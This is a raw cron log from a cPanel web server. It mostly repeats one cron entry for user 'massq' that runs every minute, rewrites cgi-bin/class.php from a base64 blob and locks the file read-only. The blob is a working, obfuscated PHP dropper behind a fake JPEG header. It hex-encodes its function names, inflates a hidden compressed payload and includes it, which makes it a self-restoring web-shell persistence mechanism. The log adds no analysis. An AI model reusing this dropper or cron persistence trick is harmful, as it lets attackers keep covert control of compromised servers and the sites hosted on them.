Nov 10 23:28:01 server CROND[26098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:29:01 server CROND[26907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:30:01 server CROND[27720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:30:01 server CROND[27722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:30:01 server CROND[27724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:30:01 server CROND[27721]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 23:31:01 server CROND[28594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:32:01 server CROND[29264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:33:01 server CROND[30204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:34:01 server CROND[31025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:35:01 server CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 23:35:01 server CROND[32028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:35:01 server CROND[32029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:35:01 server CROND[32032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:35:01 server CROND[32033]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 23:36:01 server CROND[339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:37:02 server CROND[1211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:38:01 server CROND[2112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:39:01 server CROND[2877]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 23:39:01 server CROND[2879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:40:01 server CROND[3068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 23:40:01 server CROND[3070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:40:01 server CROND[3069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:40:01 server CROND[3071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
